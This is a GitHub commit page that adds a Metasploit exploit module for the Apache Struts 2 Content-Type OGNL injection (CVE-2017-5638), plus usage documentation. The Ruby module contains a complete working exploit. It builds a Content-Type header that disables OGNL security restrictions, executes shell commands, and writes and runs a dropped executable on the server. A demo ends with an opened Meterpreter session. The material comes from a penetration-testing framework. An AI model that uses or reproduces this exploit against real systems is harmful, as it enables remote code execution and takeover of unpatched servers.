Skip to content

Commit 1736332

Browse files
committed
Land rapid7#8103, Add CVE-2017-5638, Struts2 Content-Type OGNL injection
2 parents 7e7e09e + 295ac63 commit 1736332

File tree

2 files changed

+333
-0
lines changed

2 files changed

+333
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
```struts2_content_type_ognl``` is a module that exploits Apache Struts 2's Jakarta Multipart
2+
parser, which makes it possible to perform arbitrary code execution with a malicious HTTP
3+
```Content-Type``` value.
4+
5+
## Vulnerable Application
6+
7+
Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10 are vulnerable.
8+
9+
You can download these versions here with any version of Apache Tomcat:
10+
11+
http://archive.apache.org/dist/struts/
12+
13+
You will also need to install a Struts 2 showcase application, which can be found here:
14+
15+
https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase
16+
17+
## Options
18+
19+
**TARGETURI**
20+
21+
The path to a struts application action
22+
23+
**VHOST**
24+
25+
The HTTP server virtual host. You will probably need to configure this as well, even though it is
26+
set as optional.
27+
28+
## Demonstration
29+
30+
**The Check Command**
31+
32+
The ```struts2_content_type_ognl``` module comes with a check command that can effectively check
33+
if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the
34+
following:
35+
36+
```
37+
set VERBOSE true
38+
set RHOST [IP]
39+
set TARGETURI [path to the Struts app with an action]
40+
```
41+
42+
When the module is in verbose mode, the ```check``` command will try to tell you the OS information,
43+
and whether or not the machine is vulnerable. Like this:
44+
45+
```
46+
msf exploit(struts2_content_type_ognl) > check
47+
48+
[+] Victim operating system: Linux
49+
[+] 10.1.11.11:8080 The target is vulnerable.
50+
```
51+
52+
**Exploiting the Host**
53+
54+
After identifying the vulnerability on the target machine, you can try to exploit it.
55+
56+
The exploit supports mainly two platforms: Windows and Linux. To see a list of available payloads,
57+
try to do ```show payloads```, and pick one. The following example demonstrates us exploiting a
58+
vulnerable Ubuntu host:
59+
60+
```
61+
msf exploit(struts2_content_type_ognl) > show options
62+
63+
Module options (exploit/multi/http/struts2_content_type_ognl):
64+
65+
Name Current Setting Required Description
66+
---- --------------- -------- -----------
67+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
68+
RHOST 10.1.11.11 yes The target address
69+
RPORT 8080 yes The target port (TCP)
70+
SSL false no Negotiate SSL/TLS for outgoing connections
71+
TARGETURI /struts2-showcase/ yes The path to a struts application action
72+
VHOST no HTTP server virtual host
73+
74+
75+
Payload options (linux/x86/meterpreter/bind_tcp):
76+
77+
Name Current Setting Required Description
78+
---- --------------- -------- -----------
79+
DebugOptions 0 no Debugging options for POSIX meterpreter
80+
LPORT 4444 yes The listen port
81+
RHOST 10.1.11.11 no The target address
82+
83+
84+
Exploit target:
85+
86+
Id Name
87+
-- ----
88+
0 Universal
89+
90+
91+
msf exploit(struts2_content_type_ognl) > run
92+
93+
[*] Started bind handler
94+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
95+
{"Server"=>"Apache-Coyote/1.1",
96+
"Set-Cookie"=>"JSESSIONID=548FF051466E6C1F3AAE814E385057DE; Path=/; HttpOnly",
97+
"Content-Type"=>"text/html;charset=UTF-8",
98+
"Content-Length"=>"6335",
99+
"Date"=>"Tue, 14 Mar 2017 21:04:06 GMT"}
100+
[*] Sending stage (1495599 bytes) to 10.1.11.11
101+
[*] Meterpreter session 5 opened (192.168.1.11:50671 -> 10.1.11.11:4444) at 2017-03-14 16:04:36 -0500
102+
103+
meterpreter >
104+
```
Lines changed: 229 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,229 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
17+
'Description' => %q{
18+
This module exploits a remote code execution vunlerability in Apache Struts
19+
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
20+
via http Content-Type header.
21+
22+
Native payloads will be converted to executables and dropped in the
23+
server's temp dir. If this fails, try a cmd/* payload, which won't
24+
have to write to the disk.
25+
},
26+
'Author' => [
27+
'Nike.Zheng', # PoC
28+
'Nixawk', # Metasploit module
29+
'Chorder', # Metasploit module
30+
'egypt', # combining the above
31+
'Jeffrey Martin', # Java fu
32+
],
33+
'References' => [
34+
['CVE', '2017-5638'],
35+
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
36+
],
37+
'Privileged' => true,
38+
'Targets' => [
39+
[
40+
'Universal', {
41+
'Platform' => %w{ unix windows linux },
42+
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
43+
},
44+
],
45+
],
46+
'DisclosureDate' => 'Mar 07 2017',
47+
'DefaultTarget' => 0))
48+
49+
register_options(
50+
[
51+
Opt::RPORT(8080),
52+
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
53+
]
54+
)
55+
register_advanced_options(
56+
[
57+
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
58+
]
59+
)
60+
61+
@data_header = "X-#{rand_text_alpha(4)}"
62+
end
63+
64+
def check
65+
var_a = rand_text_alpha_lower(4)
66+
67+
ognl = ""
68+
ognl << %q|(#[email protected]@getProperty('os.name')).|
69+
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
70+
71+
begin
72+
resp = send_struts_request(ognl)
73+
rescue Msf::Exploit::Failed
74+
return Exploit::CheckCode::Unknown
75+
end
76+
77+
if resp && resp.code == 200 && resp.headers[var_a]
78+
vprint_good("Victim operating system: #{resp.headers[var_a]}")
79+
Exploit::CheckCode::Vulnerable
80+
else
81+
Exploit::CheckCode::Safe
82+
end
83+
end
84+
85+
def exploit
86+
case payload.arch.first
87+
#when ARCH_JAVA
88+
# datastore['LHOST'] = nil
89+
# resp = send_payload(payload.encoded_jar)
90+
when ARCH_CMD
91+
resp = execute_command(payload.encoded)
92+
else
93+
resp = send_payload(generate_payload_exe)
94+
end
95+
96+
require'pp'
97+
pp resp.headers if resp
98+
end
99+
100+
def send_struts_request(ognl, extra_header: '')
101+
uri = normalize_uri(datastore["TARGETURI"])
102+
content_type = "%{(#_='multipart/form-data')."
103+
content_type << "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
104+
content_type << "(#_memberAccess?"
105+
content_type << "(#_memberAccess=#dm):"
106+
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
107+
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
108+
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
109+
content_type << "(#ognlUtil.getExcludedClasses().clear())."
110+
content_type << "(#context.setMemberAccess(#dm))))."
111+
content_type << ognl
112+
content_type << "}"
113+
114+
headers = { 'Content-Type' => content_type }
115+
if extra_header
116+
headers[@data_header] = extra_header
117+
end
118+
119+
#puts content_type.gsub(").", ").\n")
120+
#puts
121+
122+
resp = send_request_cgi(
123+
'uri' => uri,
124+
'method' => datastore['HTTPMethod'],
125+
'headers' => headers
126+
)
127+
128+
if resp && resp.code == 404
129+
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
130+
end
131+
resp
132+
end
133+
134+
def execute_command(cmd)
135+
ognl = ''
136+
ognl << %Q|(#[email protected]@getRequest().getHeader('#{@data_header}')).|
137+
138+
# You can add headers to the server's response for debugging with this:
139+
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
140+
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
141+
142+
ognl << %q|(#[email protected]@getProperty('os.name')).|
143+
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
144+
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
145+
ognl << %q|(#p.redirectErrorStream(true)).|
146+
ognl << %q|(#process=#p.start())|
147+
148+
send_struts_request(ognl, extra_header: cmd)
149+
end
150+
151+
def send_payload(exe)
152+
153+
ognl = ""
154+
ognl << %Q|(#[email protected]@getRequest().getHeader('#{@data_header}')).|
155+
ognl << %Q|(#[email protected]@createTempFile('#{rand_text_alpha(4)}','.exe')).|
156+
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
157+
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
158+
ognl << %q|(#f.setExecutable(true)).|
159+
ognl << %q|(#f.deleteOnExit()).|
160+
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
161+
162+
# Using stuff from the sun.* package here means it likely won't work on
163+
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
164+
# work and I don't see a better way of getting binary data onto the
165+
# system. =/
166+
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
167+
ognl << %q|(#fos.write(#d)).|
168+
ognl << %q|(#fos.close()).|
169+
170+
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
171+
ognl << %q|(#p.start()).|
172+
ognl << %q|(#f.delete())|
173+
174+
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
175+
end
176+
177+
end
178+
179+
=begin
180+
Doesn't work:
181+
182+
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
183+
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
184+
ognl << %q|(#[email protected]@getMethods(#c,'main',true).get(0)).|
185+
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
186+
ognl << %q|(#m.invoke(null,null)).|
187+
188+
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
189+
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
190+
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
191+
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
192+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
193+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
194+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
195+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
196+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
197+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
198+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
199+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
200+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
201+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
202+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
203+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
204+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
205+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
206+
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed
207+
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6
208+
209+
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
210+
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
211+
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
212+
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
213+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
214+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
215+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
216+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
217+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
218+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
219+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
220+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
221+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
222+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
223+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
224+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
225+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
226+
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed
227+
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884
228+
229+
=end

0 commit comments

Comments
 (0)